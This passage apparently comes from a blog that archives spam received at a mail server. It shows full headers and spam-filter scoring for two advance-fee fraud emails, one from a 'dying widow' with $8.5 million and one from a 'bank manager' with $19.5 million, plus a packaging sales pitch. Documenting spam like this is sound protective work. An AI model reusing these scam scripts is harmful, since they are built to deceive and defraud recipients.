-0.0 RCVD_IN_DNSWL_NONE RBL: Sender listed at http://www.dnswl.org/, no

trust

[74.125.228.131 listed in list.dnswl.org]

-0.2 RCVD_IN_MSPIKE_H2 RBL: Average reputation (+2)

[74.125.228.131 listed in wl.mailspike.net]

1.3 RCVD_IN_RP_RNBL RBL: Relay in RNBL,

https://senderscore.org/blacklistlookup/

[74.125.228.131 listed in bl.score.senderscore.com]

-0.0 SPF_PASS SPF: sender matches SPF record

0.2 MR_NOT_ATTRIBUTED_IP Beta rule: an non-attributed IPv4 found in

headers

1.5 GR_DOMAIN_UNDISC1 To contains undisclosed recipient (undisc)

0.2 FREEMAIL_REPLYTO_END_DIGIT Reply-To freemail username ends in digit

[mj6690849(at)gmail.com]

0.0 HTML_MESSAGE BODY: HTML included in message

0.0 HTML_FONT_SIZE_HUGE BODY: HTML font size is huge

0.0 LOTS_OF_MONEY Huge... sums of money

0.0 T_DKIM_INVALID DKIM-Signature header exists but is not valid

0.0 HK_NAME_MR_MRS No description available.

2.5 FREEMAIL_FORGED_REPLYTO Freemail in Reply-To, but not From

1.0 MONEY_FREEMAIL_REPTO Lots of money from someone using free email?

0.5 MONEY_FRAUD_8 Lots of money and very many fraud phrases

2.8 UNDISC_MONEY Undisclosed recipients + money/fraud signs

3.7 ADVANCE_FEE_5_NEW_MONEY Advance Fee fraud and lots of money

Subject: {SPAM?} Trust



--000000000000ff0ab2065ffcb2bb

Content-Type: text/plain; charset="UTF-8"

Content-Transfer-Encoding: quoted-printable



Hello,



I know it will be a great surprise reading from me today but consider this

a divine intervention. My name is Mrs. Mary Johnson, a widow from

Milwaukee, WI 53204. I am presently writing to you from my sickbed because

I have been fighting cancer and the doctor says I have a few weeks left.



I want to entrust my money $8.5 million dollars to your care for charity

purposes and crave your indulgence as a concerned individual to help use my

money for charity and also assist the poor with less privileged in the

society so reply to my private email (mj6690849@gmail.com) for more

information as I'm not always online due to my health and my late husband's

brother wants me dead so that he will claim all my late husband and i

worked for.



I will tell you more about myself and what you need to do with the money

once you receive it. Give me your word that you will not betray my trust so

that i furnish you with more details about the Charity Funds. Please reply

now as my health is pretty bad, It=E2=80=99s urgent and very important you =

keep

this email confidential.



Have a blessed day and do not forget to pray for me.



Bless you.

Mrs. Mary Johnson



--=20

Disclaimer: This email and any attachments may contain confidential,=20

privileged, or sensitive information and are intended solely for the use of=

=20

the named recipient(s). The views, opinions, and information expressed in=

=20

this email are those of the author and do not necessarily reflect the=20

official position or policy of the National Open University of Nigeria=20

(NOUN).



If you are not the intended recipient, you are hereby notified=20

that any review, use, disclosure, copying, distribution, or reliance upon=

=20

the contents of this email is strictly prohibited. If you have received=20

this email in error, please notify the sender immediately and permanently=

=20

delete the email and any attachments from your system. The National Open=20

University of Nigeria accepts no responsibility for any unauthorised use,=

=20

disclosure, alteration, or reliance on the contents of this message.



--000000000000ff0ab2065ffcb2bb

Content-Type: text/html; charset="UTF-8"

Content-Transfer-Encoding: quoted-printable



Hello,

I know it will be a great surprise reading f=

rom me today but consider this a divine intervention. My name is Mrs. Mary =

Johnson, a widow from Milwaukee, WI 53204. I am presently writing to you fr=

om my sickbed because I have been fighting cancer and the doctor says I hav=

e a few weeks left.

I want to entrust my money $8.5 million dollars =

to your care for charity purposes and crave your indulgence as a concerned =

individual to help use my money for charity and also assist the poor with l=

ess privileged in the society so reply to my private email (
to:mj6690849@gmail.com">mj6690849@gmail.com) for more information as I&=

#39;m not always online due to my health and my late husband's brother =

wants me dead so that he will claim all my late husband and i worked for.
r>
I will tell you more about myself and what you need to do with the mo=

ney once you receive it. Give me your word that you will not betray my trus=

t so that i furnish you with more details about the Charity Funds. Please r=

eply now as my health is pretty bad, It=E2=80=99s urgent and very important=

you keep this email confidential.

Have a blessed day and do not for=

get to pray for me.

Bless you.
Mrs. Mary Johnson







Disclaimer: This email and any attachments may contain confidential,=

privileged, or sensitive information and are intended solely for the use o=

f the named recipient(s). The views, opinions, and information expressed in=

this email are those of the author and do not necessarily reflect the offi=

cial position or policy of the National Open University of Nigeria (NOUN=

).

If you are not the intended recipient, you are hereby notifie=

d that any review, use, disclosure, copying, distribution, or reliance upon=

the contents of this email is strictly prohibited. If you have received th=

is email in error, please notify the sender immediately and permanently del=

ete the email and any attachments from your system. The National Open Unive=

rsity of Nigeria accepts no responsibility for any unauthorised use, disclo=

sure, alteration, or reliance on the contents of this message.

--000000000000ff0ab2065ffcb2bb--

Chinese products spam

Posted by Dave Yadallee on
X-Mozilla-Status: 0001

X-Mozilla-Status2: 00000000

Return-path:

Envelope-to: dave@doctor.nl2k.ab.ca

Delivery-date: Wed, 11 Nov 2026 05:44:59 -0600

Received: from doctor by doctor.nl2k.ab.ca with local (Exim 4.100.1 (FreeBSD))

(envelope-from )

id 1xR6l1-00000000J6u-2MbX

for dave@doctor.nl2k.ab.ca;

Wed, 11 Nov 2026 05:44:51 -0600

Resent-From: The Doctor

Resent-Date: Wed, 11 Nov 2026 05:44:51 -0600

Resent-Message-ID:

Resent-To: Dave Yadallee

Received: from [207.57.121.169] (port=57539 helo=mk.ukowsy.top)

by doctor.nl2k.ab.ca with esmtp (Exim 4.100.1 (FreeBSD))

(envelope-from )

id 1xR3zy-00000000Ifa-1vDC

for sales@nk.ca;

Wed, 11 Nov 2026 02:48:11 -0600

Received: from SK-20240731QRVM (123.144.84.56) by mk.ukowsy.top id hugls00e97cq for ; Wed, 11 Nov 2026 08:47:05 +0000 (envelope-from )

From: "Seren"

Subject: Custom trays & lidstock =?UTF-8?B?4oCT?= quick intro

To: sales@nk.ca

Content-Type: text/html; charset=UTF-8

MIME-Version: 1.0

Content-Transfer-Encoding: base64

Sender: info5@mk.ukowsy.top

Reply-To: wityk.Mike@witykpack.com

Date: Wed, 11 Nov 2026 16:47:05 +0800

X-Priority: 3

X-MSMail-Priority: Normal

X-MimeOLE: Produced By Microsoft MimeOLE V6.00.3790.4913

Content-Disposition: inline

X-Spam_score: 11.4

X-Spam_score_int: 114

X-Spam_bar: +++++++++++

X-Spam_report: Spam detection software, running on the system "doctor.nl2k.ab.ca",

has identified this incoming email as possible spam. The original

message has been attached to this so you can view it or label

similar future email. If you have any questions, see

@@CONTACT_ADDRESS@@ for details.



Content preview: Dear Sir/Madam, We're a sterile barrier packaging supplier

for the medical device industry. We focus on one thing—designing packaging

that works with your device and your sterilization process.



Content analysis details: (11.4 points, 5.0 required)



pts rule name description

---- ---------------------- --------------------------------------------------

0.1 MISSING_MID Missing Message-Id: header

1.0 RCVD_IN_WSFF RBL: Received via a relay in will-spam-for-food.eu.org

[123.144.84.56 listed in will-spam-for-food.eu.org]

[123.144.84.56 listed in will-spam-for-food.eu.org]

[123.144.84.56 listed in will-spam-for-food.eu.org]

[123.144.84.56 listed in will-spam-for-food.eu.org]

[123.144.84.56 listed in will-spam-for-food.eu.org]

[123.144.84.56 listed in will-spam-for-food.eu.org]

[123.144.84.56 listed in will-spam-for-food.eu.org]

[123.144.84.56 listed in will-spam-for-food.eu.org]

[207.57.121.169 listed in will-spam-for-food.eu.org]

[207.57.121.169 listed in will-spam-for-food.eu.org]

[207.57.121.169 listed in will-spam-for-food.eu.org]

[207.57.121.169 listed in will-spam-for-food.eu.org]

[207.57.121.169 listed in will-spam-for-food.eu.org]

[207.57.121.169 listed in will-spam-for-food.eu.org]

[207.57.121.169 listed in will-spam-for-food.eu.org]

[207.57.121.169 listed in will-spam-for-food.eu.org]

1.5 RCVD_IN_AHBL RBL: AHBL: sender is listed in dnsbl.ahbl.org

[207.57.121.169 listed in dnsbl.ahbl.org]

[207.57.121.169 listed in dnsbl.ahbl.org]

[207.57.121.169 listed in dnsbl.ahbl.org]

[207.57.121.169 listed in dnsbl.ahbl.org]

[123.144.84.56 listed in dnsbl.ahbl.org]

[123.144.84.56 listed in dnsbl.ahbl.org]

[123.144.84.56 listed in dnsbl.ahbl.org]

[123.144.84.56 listed in dnsbl.ahbl.org]

1.5 RCVD_IN_AHBL_SPAM RBL: AHBL: Spam Source in dnsbl.ahbl.org

[207.57.121.169 listed in dnsbl.ahbl.org]

0.5 RCVD_IN_AHBL_PROXY RBL: AHBL: Open Proxy server in dnsbl.ahbl.org

[207.57.121.169 listed in dnsbl.ahbl.org]

0.5 RCVD_IN_AHBL_SMTP RBL: AHBL: Open SMTP relay in dnsbl.ahbl.org

[207.57.121.169 listed in dnsbl.ahbl.org]

0.0 RCVD_IN_AHBL_RTB RBL: AHBL: Real-Time Blocked in dnsbl.ahbl.org

[207.57.121.169 listed in dnsbl.ahbl.org]

1.6 RCVD_IN_BRBL_LASTEXT RBL: No description available.

[207.57.121.169 listed in bb.barracudacentral.org]

-3.0 RCVD_IN_RP_CERTIFIED RBL: Sender in ReturnPath Certified - Contact

cert-sa@returnpath.net

[Excessive Number of Queries | ]

-2.0 RCVD_IN_RP_SAFE RBL: Sender in ReturnPath Safe - Contact

safe-sa@returnpath.net

[Excessive Number of Queries | ]

1.3 RCVD_IN_RP_RNBL RBL: Relay in RNBL,

https://senderscore.org/blacklistlookup/

[207.57.121.169 listed in bl.score.senderscore.com]

0.2 MR_NOT_ATTRIBUTED_IP Beta rule: an non-attributed IPv4 found in

headers

0.0 HEADER_FROM_DIFFERENT_DOMAINS From and EnvelopeFrom 2nd level mail

domains are different

1.7 DEAR_SOMETHING BODY: Contains 'Dear (something)'

0.0 HTML_MESSAGE BODY: HTML included in message

0.0 HTML_FONT_SIZE_HUGE BODY: HTML font size is huge

1.1 MIME_HTML_ONLY BODY: Message only has text/html MIME parts

1.3 RDNS_NONE Delivered to internal network by a host with no rDNS

0.5 FROM_SUSPICIOUS_NTLD From abused NTLD

1.0 XPRIO Has X-Priority header

2.5 TO_NO_BRKTS_MSFT To: misformatted and supposed Microsoft tool

Subject: {SPAM?} Custom trays & lidstock =?UTF-8?B?4oCT?= quick intro







Dear Sir/Madam,







We're a sterile barrier packaging supplier for the medical device industry. We focus on one thing—designing packaging that works with your device and your sterilization process.







Products:







· PETG blister trays



· Tyvek® lidstock



· Sterilization pouches & rolls



· Self-seal, header, and flat bags







Why choose us:







· Packaging matched to your sterilization method



· Fast turnaround for trial orders



· Stable supply with consistent quality







All produced in ISO-certified cleanrooms. Let us know if you need a proposal.







Best regards,



Seren



Wityk Packaging (Shenzhen) Co., Ltd.



Email: sales@witykpack.com



Whatsapp: +86 18716641670

Nigerian spam

Posted by Dave Yadallee on
X-Mozilla-Status: 0001

X-Mozilla-Status2: 00000000

Return-path:

Envelope-to: dave@doctor.nl2k.ab.ca

Delivery-date: Wed, 11 Nov 2026 05:44:59 -0600

Received: from doctor by doctor.nl2k.ab.ca with local (Exim 4.100.1 (FreeBSD))

(envelope-from )

id 1xR6kn-00000000ITo-0iEG

for dave@doctor.nl2k.ab.ca;

Wed, 11 Nov 2026 05:44:37 -0600

Resent-From: The Doctor

Resent-Date: Wed, 11 Nov 2026 05:44:37 -0600

Resent-Message-ID:

Resent-To: Dave Yadallee

Received: from c4-17.my-control-panel.com ([23.153.104.17]:52251)

by doctor.nl2k.ab.ca with esmtps (TLS1.3) tls TLS_AES_256_GCM_SHA384

(Exim 4.100.1 (FreeBSD))

(envelope-from )

id 1xR1Xp-00000000Ptn-2S3y

for doctor@doctor.nl2k.ab.ca;

Wed, 11 Nov 2026 00:10:57 -0600

DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;

d=mairesdafrique.net; s=default; h=Content-Transfer-Encoding:Content-Type:

MIME-Version:Message-ID:Date:Subject:To:From:Reply-To:Sender:Cc:Content-ID:

Content-Description:Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc

:Resent-Message-ID:In-Reply-To:References:List-Id:List-Help:List-Unsubscribe:

List-Unsubscribe-Post:List-Subscribe:List-Post:List-Owner:List-Archive;

bh=MLo6RW4e5/2Uh/YhtO0IzyBVmdq22wmE1vdq30L6EQA=; b=jvpmPB952a6LXanj0TuTuhmtOl

uVfkN+wFuzQpGZlJu0OP3MYpr2j1PtWnTRCWalycE+NGQU1bToI80EKg8lToF+Ooxr+o7queH6BBn

P0pBdk0aFBBuQlHiJZwtS/JB98/+2J0u5R4HNVp87UJ5PJ9ALNWrjaeSd8FIyjJ8yAgQQgxTIhByX

AqGdxRsZLc/ZwH+S+kjq5MV1uyd/wVo7Yh0xGk1SnV0xIjnZ12GCsBv1EiwMPgjvYSkza1i0ek/Bh

Vl7q3yDYQpFduz+Pc0eKY5OKNr4lMjD+bMZt1PdxUouUDolnRgz4QMVad324ShBEIwgTntSEVbsj7

4OrE7Xtg==;

Received: from [107.149.8.131] (port=49422)

by c4.my-control-panel.com with esmtpsa (TLS1.3) tls TLS_AES_256_GCM_SHA384

(Exim 4.100.1)

(envelope-from )

id 1xR1Wn-00000006utb-3vZP

for doctor@doctor.nl2k.ab.ca;

Wed, 11 Nov 2026 09:09:50 +0300

Reply-To: timothykolb.info@gmail.com

From: Timothy Kolb

To: doctor@doctor.nl2k.ab.ca

Subject: Hello Good day

Date: 10 Nov 2026 22:09:45 -0800

Message-ID: <20261110220941.588982BF64CEF504@mairesdafrique.net>

MIME-Version: 1.0

Content-Type: text/plain;

charset="utf-8"

Content-Transfer-Encoding: quoted-printable

X-AntiAbuse: This header was added to track abuse, please include it with any abuse report

X-AntiAbuse: Primary Hostname - c4.my-control-panel.com

X-AntiAbuse: Original Domain - doctor.nl2k.ab.ca

X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12]

X-AntiAbuse: Sender Address Domain - mairesdafrique.net

X-Get-Message-Sender-Via: c4.my-control-panel.com: authenticated_id: access_jmovh1327@mairesdafrique.net

X-Authenticated-Sender: c4.my-control-panel.com: access_jmovh1327@mairesdafrique.net

X-Source:

X-Source-Args:

X-Source-Dir:

X-Spam_score: 9.9

X-Spam_score_int: 99

X-Spam_bar: +++++++++

X-Spam_report: Spam detection software, running on the system "doctor.nl2k.ab.ca",

has identified this incoming email as possible spam. The original

message has been attached to this so you can view it or label

similar future email. If you have any questions, see

@@CONTACT_ADDRESS@@ for details.



Content preview: Hello, My name is Mr. Timothy Kolb, Manager In charge of Foreign

Remittance department of Westbay Trusts Bank (WTB). The main reason for contacting

you is to propose a business cooperation that will b [...]



Content analysis details: (9.9 points, 5.0 required)



pts rule name description

---- ---------------------- --------------------------------------------------

1.0 RCVD_IN_WSFF RBL: Received via a relay in will-spam-for-food.eu.org

[107.149.8.131 listed in will-spam-for-food.eu.org]

[107.149.8.131 listed in will-spam-for-food.eu.org]

[107.149.8.131 listed in will-spam-for-food.eu.org]

[107.149.8.131 listed in will-spam-for-food.eu.org]

[107.149.8.131 listed in will-spam-for-food.eu.org]

[107.149.8.131 listed in will-spam-for-food.eu.org]

[107.149.8.131 listed in will-spam-for-food.eu.org]

[107.149.8.131 listed in will-spam-for-food.eu.org]

[23.153.104.17 listed in will-spam-for-food.eu.org]

[23.153.104.17 listed in will-spam-for-food.eu.org]

[23.153.104.17 listed in will-spam-for-food.eu.org]

[23.153.104.17 listed in will-spam-for-food.eu.org]

[23.153.104.17 listed in will-spam-for-food.eu.org]

[23.153.104.17 listed in will-spam-for-food.eu.org]

[23.153.104.17 listed in will-spam-for-food.eu.org]

[23.153.104.17 listed in will-spam-for-food.eu.org]

1.5 RCVD_IN_AHBL RBL: AHBL: sender is listed in dnsbl.ahbl.org

[23.153.104.17 listed in dnsbl.ahbl.org]

[23.153.104.17 listed in dnsbl.ahbl.org]

[23.153.104.17 listed in dnsbl.ahbl.org]

[23.153.104.17 listed in dnsbl.ahbl.org]

[107.149.8.131 listed in dnsbl.ahbl.org]

[107.149.8.131 listed in dnsbl.ahbl.org]

[107.149.8.131 listed in dnsbl.ahbl.org]

[107.149.8.131 listed in dnsbl.ahbl.org]

0.5 RCVD_IN_AHBL_SMTP RBL: AHBL: Open SMTP relay in dnsbl.ahbl.org

[23.153.104.17 listed in dnsbl.ahbl.org]

1.5 RCVD_IN_AHBL_SPAM RBL: AHBL: Spam Source in dnsbl.ahbl.org

[23.153.104.17 listed in dnsbl.ahbl.org]

0.5 RCVD_IN_AHBL_PROXY RBL: AHBL: Open Proxy server in dnsbl.ahbl.org

[23.153.104.17 listed in dnsbl.ahbl.org]

0.0 RCVD_IN_AHBL_RTB RBL: AHBL: Real-Time Blocked in dnsbl.ahbl.org

[23.153.104.17 listed in dnsbl.ahbl.org]

-3.0 RCVD_IN_RP_CERTIFIED RBL: Sender in ReturnPath Certified - Contact

cert-sa@returnpath.net

[Excessive Number of Queries | ]

-2.0 RCVD_IN_RP_SAFE RBL: Sender in ReturnPath Safe - Contact

safe-sa@returnpath.net

[Excessive Number of Queries | ]

-0.0 SPF_PASS SPF: sender matches SPF record

0.2 MR_NOT_ATTRIBUTED_IP Beta rule: an non-attributed IPv4 found in

headers

1.3 RCVD_IN_RP_RNBL RBL: Relay in RNBL,

https://senderscore.org/blacklistlookup/

[23.153.104.17 listed in bl.score.senderscore.com]

0.0 T_DKIM_INVALID DKIM-Signature header exists but is not valid

0.0 LOTS_OF_MONEY Huge... sums of money

1.0 MONEY_FREEMAIL_REPTO Lots of money from someone using free email?

0.7 TO_NO_BRKTS_FROM_MSSP Multiple formatting errors

2.5 FREEMAIL_FORGED_REPLYTO Freemail in Reply-To, but not From

0.0 LOTTO_DEPT Claims Department

3.7 ADVANCE_FEE_5_NEW_MONEY Advance Fee fraud and lots of money

0.5 MONEY_FRAUD_8 Lots of money and very many fraud phrases

Subject: {SPAM?} Hello Good day



Hello,=20

My name is Mr. Timothy Kolb, Manager In charge of Foreign=20

Remittance=20

department of Westbay Trusts Bank (WTB). The main reason for=20

contacting you is to propose a business cooperation that will be=20

of mutual benefit to both of us and requires absolute trust and=20

total confidentiality. To get down to brass tacks, I want you to=20

accommodate a large volume of funds worth (US$19.5 Million) which=20

I want to transfer from an abandoned account to your personal=20

bank account, It is 100% risk free.



If you are interested in this proposition, kindly respond back to=20

me through my email (timothykolb.info@gmail.com) So I can give=20

you=20

further details and what is required for our trust, We will also=20

negotiate an appropriate compensation for your efforts.



Yours faithfully

Mr. Timothy Kolb.

Web/SEO/App spam from Google Gmail

Posted by Dave Yadallee on
X-Mozilla-Status: 0001

X-Mozilla-Status2: 00000000

Return-path:

Envelope-to: dave@doctor.nl2k.ab.ca

Delivery-date: Wed, 11 Nov 2026 05:44:59 -0600

Received: from doctor by doctor.nl2k.ab.ca with local (Exim 4.100.1 (FreeBSD))

(envelope-from )

id 1xR6ke-00000000I6Q-2Uh5

for dave@doctor.nl2k.ab.ca;

Wed, 11 Nov 2026 05:44:28 -0600

Resent-From: The Doctor

Resent-Date: Wed, 11 Nov 2026 05:44:28 -0600

Resent-Message-ID:

Resent-To: Dave Yadallee

Received: from mail-japaneastazolkn19012057.outbound.protection.outlook.com ([52.103.43.57]:24294 helo=TYPPR03CU001.outbound.protection.outlook.com)

by doctor.nl2k.ab.ca with esmtps (TLS1.3) tls TLS_AES_256_GCM_SHA384

(Exim 4.100.1 (FreeBSD))

(envelope-from )

id 1xQzyT-00000000DoN-0t5n

for sales@nk.ca;

Tue, 10 Nov 2026 22:30:21 -0600

ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;

b=AOZGnB40TevjtRQbc4YCNbobhlllSMf1AcASwPjAgTWFIQmKcMqKTJs8qtTImC4qcvJsDdDXG6lHTd8YFABYUVzJ8mhpq5M/+x4TH8Ud58HTAi0bKWjAeR1qxVFo0GiOdVOfXw+9077pnRJHDMyRtej3IYtdPdJZDH5t2kghhKZ+rJYNWqaXlOqQQpsNQYaS/2MpfPzwOT2eh01EnG7idd+MQu0HViliOKXNWKAcCU70hfv9HbKtoZ43WXpp7bZUsf6Mb+rKj1P570OI9HHGo//EeiBSMRyZ0FwmRk2dybA9s7/7AdkObM7Hc3lYASZY7snMujUplCZxhZU39uihgg==

ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;

s=arcselector10001;

h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;

bh=E+j0FNth89rxrRq0j9nuBCI9O1kDK3eGCwFzzl2H0MI=;

b=mCOamF8wJr86cMqKbUfHb28QYq4HqmzM0AXnWtaPdCZUOH+xdB/Awh6CluDO9bSF+x0XhDRgE41j/ap5t5iwo8Ani7/eutRTxSSOAu3uBPEju12zktrOx7tSJSycehcp6DmtpDEldHT2x/XQd9sSg+syC6pXI6rPkE3OzrseEOoIOMNkc+L+jByB9jIrajovKNKWcAfR23lWADwY8xJAYcLDxtPzzIPlMhxq5711sQKe/Ntu0sseGaJMj0uX/xwooYqzortURwHjx3YiDP81M/cOKUJSfGERkCaN8NZzCku+KiAasM2XXEf2l3GRRUNuCE9TpLEXnyx0kE6lKARzMw==

ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=none; dmarc=none;

dkim=none; arc=none

DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=outlook.com;

s=selector1;

h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;

bh=E+j0FNth89rxrRq0j9nuBCI9O1kDK3eGCwFzzl2H0MI=;

b=jqqyYi2n46ywSFwqn6puotVovd4le7EumFUSptAjKol9gBBPMT27aLR+diS3fN5AmGxoiEYaj8VXjtN1nOtDAgBpq9NpsKCgdJmkF6AGdXEhmaNHX5i2nGyG/8gzKMfuqXI35ryBYJwZKRDGLYkTGEZ968gL3zUE5iQ+qIY2RSymMVLzg9kr9oqEsSv4DambajBM4KKjScBW4RUa3mCr1XfmOhtnhZJLhuFvjNgJ3KmtlvUWy21xwrSmytvFSlxo79hSOOpT+GM7tw81orkSk3zkQhu7to98A1dhbmBCaBKAVgZcY4/8/tD1S5Lcb3FMbjYS/wn76p7ercrVgk4R8A==

Received: from TY2PPFFD5F4C141.apcprd06.prod.outlook.com (2603:1096:408::7b3)

by SEYPR06MB8221.apcprd06.prod.outlook.com (2603:1096:101:2f1::8) with

Microsoft SMTP Server (version=TLS1_2,

cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.615.8; Wed, 11 Nov

2026 04:27:27 +0000

Received: from TY2PPFFD5F4C141.apcprd06.prod.outlook.com

([fe80::cd25:c570:d860:4217]) by TY2PPFFD5F4C141.apcprd06.prod.outlook.com

([fe80::cd25:c570:d860:4217%8]) with mapi id 15.21.0615.005; Wed, 11 Nov 2026

04:27:27 +0000

From: Puja Gupta

To: Puja Gupta

Subject: Re: Proposal

Thread-Topic: Proposal

Thread-Index: AQHdUAx7XFEoY2cFk0G8A1epedFifLcoiWWi

Date: Wed, 11 Nov 2026 04:27:26 +0000

Message-ID:



References:



In-Reply-To:



Accept-Language: en-US

Content-Language: en-US

X-MS-Has-Attach:

X-MS-TNEF-Correlator:

msip_labels:

x-ms-publictraffictype: Email

x-ms-traffictypediagnostic: TY2PPFFD5F4C141:EE_|SEYPR06MB8221:EE_

x-ms-office365-filtering-correlation-id: 3057dfab-2a91-4b9c-85cc-08df3fac172b

x-microsoft-antispam:

BCL:0;ARA:14566002|39105399006|15080799012|15030799006|31061999003|22091999003|24121999003|55001999006|24021099003|2604032031799003|48001999003|8062599012|8060799015|19110799012|25010399006|4140399003|56899033|440099028|3412199025|102099032|12091999003|260806224601699006|43065399003|31055399003|40105399003|26121999007|18071099003|1710799026;

x-microsoft-antispam-message-info:

=?us-ascii?Q?N7vA4WtEDqQUHvt9qSbjtItcCEf4tQ5UTJVcCP8gsELigdogYn0tBtDB2FYZ?=

=?us-ascii?Q?azhLEWpVgYvvweeadIu5dLmIURTbSkFfyeJQyDH8ONexZVj03UV2yvW0fMb5?=

=?us-ascii?Q?lUO72DIKm4d0IuWrbuRwNafrjyZcb2AkJLp8h34ixRaaOUrJzN4LouhzyY0C?=

=?us-ascii?Q?OthMmVuOax96q5nUluWx8zI6gZMO2+aOt/PzRzrmU3gNXLJH8XJ7hytuGBEb?=

=?us-ascii?Q?7AKtdUOKyUiqz13EeAVhpQw7jADuGTXPtAQAOXlfSeGtBTQ7nIy4mqpqsOTD?=

=?us-ascii?Q?t5LoJzf72YceByq7Zpqb6UEiL02zXb0tb1askIQrCerPdQTIAlz96A0Ph677?=

=?us-ascii?Q?Tlpge2EurrV8IRlGD6CUhkuDiopyyr4vOPSJbZhnI6uaiBduM5Oa9AbjneTX?=

=?us-ascii?Q?3DvBEVh2WNNLa2ujg8ZKR1s6Mgzy8tVvoJp61WI6G+h8SafRLyO40SzL9nHE?=

=?us-ascii?Q?7eCxNW/P/jhNX9bk9ljifJcTzBYJ7gWYYg/AQh1XmMuqv46aY3eb6oiRDUwN?=

=?us-ascii?Q?WWnz4ibqYLSLkk7a/TiPioxG0O9twQXpl/pMm7+hQ+CWmeFXAa0pjsOYUmgg?=

=?us-ascii?Q?seiECwpGWQwBPlOE3OP9GBHkHI55/5no7Q6i5JWBS+cWtziKDTqJcIPniqQH?=

=?us-ascii?Q?HkOfj91EkxHiwTvZX+A/tvNBRvj/YJWr/VGpwMUEyFzryczK8oy1DYQstlJ2?=

=?us-ascii?Q?Np/Ayn8dWNeFkw1GQ6iilihb2l2d0ac3xMB1kGes/Lbj2C2XGVNZ7G+ETZXH?=

=?us-ascii?Q?vwlCcT60dIcmoPBpOyCmYAkLV6mzQy5x37fbeytUH5WOGEehPu6a0denTZa2?=

=?us-ascii?Q?m4Lsr6myoWEOAPIo8/LKtCz+hyoX/gMHm6p+SlrIWqVtHPoNJMCW43cS6HoL?=

=?us-ascii?Q?vgu5G6gGK4GzonFzC2OIxyCKtS8Kq5TY+ZvMKei857p6Jt+Vfemc/gJLN8Zp?=

=?us-ascii?Q?QvoT7Sp/1BfYedpsbbxzHuMxQVl186/MeSXjoGVqS3j+gja6By4+qfKoCurP?=

=?us-ascii?Q?d6FBo5ogi3sH12gTcyE3E352uWpuGvAlkWVyZFnigAXWOC9DO/6xZBVyd7wx?=

=?us-ascii?Q?ejPqXo9f+pT0pd31UACJ9x7Mqc3dLqOSYFLUA41ey4BCZgMT7W218uF16CL6?=

=?us-ascii?Q?kuKQITiiFMlG5gnCyjuIc7PALPdQVINeUZGL3XwR/PvHNcfldxrOqL6hGRCC?=

=?us-ascii?Q?pJQi3wL6YbUSo36MKIFPjamNLA2FQefuymbE2Ij8ooQWYQUljZCXlJl2zP10?=

=?us-ascii?Q?B/soz8Kqd/SrNOup4Atvym0oohQe6WWNBUCh1sxVA/fOasUXLDIu9FTazTdp?=

=?us-ascii?Q?lm0WLxjBLoyBlbcFt4WRDNAV5thnt60mTKfnRDMZMo6okBHrNxfjHrNOsJXq?=

=?us-ascii?Q?D2o48unp4LzFC/qtFgB5jE66Fdp/?=

x-ms-exchange-antispam-messagedata-chunkcount: 1

x-ms-exchange-antispam-messagedata-0:

=?us-ascii?Q?Wb4KfmcU1/fekgWWfYwDtJwH0uAsZVwFRI1FRJskcATh5s1ectGUDBcAJL/o?=

=?us-ascii?Q?6aXLV+AFkZ/wrtDqPN7qFUu2wvkfWY9htPcwXcxz3af39iB0EpiNrxNXo/hV?=

=?us-ascii?Q?xksQYijxTq4gOtxBWNGCIOq+vDMoxOhDK/bD+saDK6Q4koGP4X1ESY/BlUIH?=

=?us-ascii?Q?QcU4DrYBvXPgCfCw+NFHeqQTkzbIqyTwlFm0bjyvuMQOEv07PClA7g44sRGb?=

=?us-ascii?Q?QDaYinWRHon/ZMxgCdqXkedXitaby2xUFJsPuuHFtrkQDwOBz2iLcvMs6loD?=

=?us-ascii?Q?RRa4Kr6jWarKiC89Vz8wTXCDGfuDdYWqhGgmZOmapDrKaAcSgs/U13eRVEMh?=

=?us-ascii?Q?p6vm7r6Px6Cry7qf9/wZaF6f7/M6Lfrz0YhOvpBitaRDGKDwi1nZmkSaYcEH?=

=?us-ascii?Q?eagWjUywjLZl09xDYZpy1G6JP4E3T5TqtfOEWgXWe9p68qe/zF9T2zRBXaRQ?=

=?us-ascii?Q?c8c2mKiUnyz7aap1dBipMF1Azz3hEEaFMXIhSJGjfWlbPryp3HxAtdJsJHId?=

=?us-ascii?Q?1Q1Mz8v0zfoK44hwh8eiSYawl+iFobmbKyhcvczDa761DRWBHJNLKGWxsLRE?=

=?us-ascii?Q?mAcezQ2eo5kn9SqCsOi+gnRuJBXcu3rjEsBdOhIodh/UZAQUS06zf/I3P9su?=

=?us-ascii?Q?RRoHmghXE7Q1I5KfA2N0Vd3ueOBEeKQY8RO6aoBBHLez8SpxTu7keo8OR0zp?=

=?us-ascii?Q?ig37Tx+NYbZrM8otRTJDO7bJY9vpV+CaokQ0bKwDduW1qBU9hPDZ4+Qze1pW?=

=?us-ascii?Q?g2O/AqG31JxMTLwtatu8tRI8CCio5P85M3v4sOP1ozLGAAVMlOHF0pqLv3iW?=

=?us-ascii?Q?kInjiNQ5SSN/82mpE5/j2da5o6/ZdI2wtZemmXl012nsh1erRUegVOky3OND?=

=?us-ascii?Q?XarVRD8at171NxkZ+JFpwzVBpTy29KvdMC8E/yTknNOxeWdLrS0qeBhBQRCq?=

=?us-ascii?Q?ScJ5yN9K0uv4h86yGk3xslQx+dKsVeoGFrVGs3lOs4hwBos7r+mrMTgFHcNI?=

=?us-ascii?Q?BzFNupuu17jcOBkYLQNWi9cS4py5QDEYIYcVd9l5dlDCVV3L+VmDIPHA+8Ss?=

=?us-ascii?Q?QDUpvkULHilNpXDfBPwr4esXx4vl7hhmJr8vRm0yrwzJnZ09qsxMhI8gJ0S6?=

=?us-ascii?Q?mg1CSkhyO3edIuT5nxrtRXUA4o+SF/7C8HpKc23+WRIXNpOgFYubbJApVJAW?=

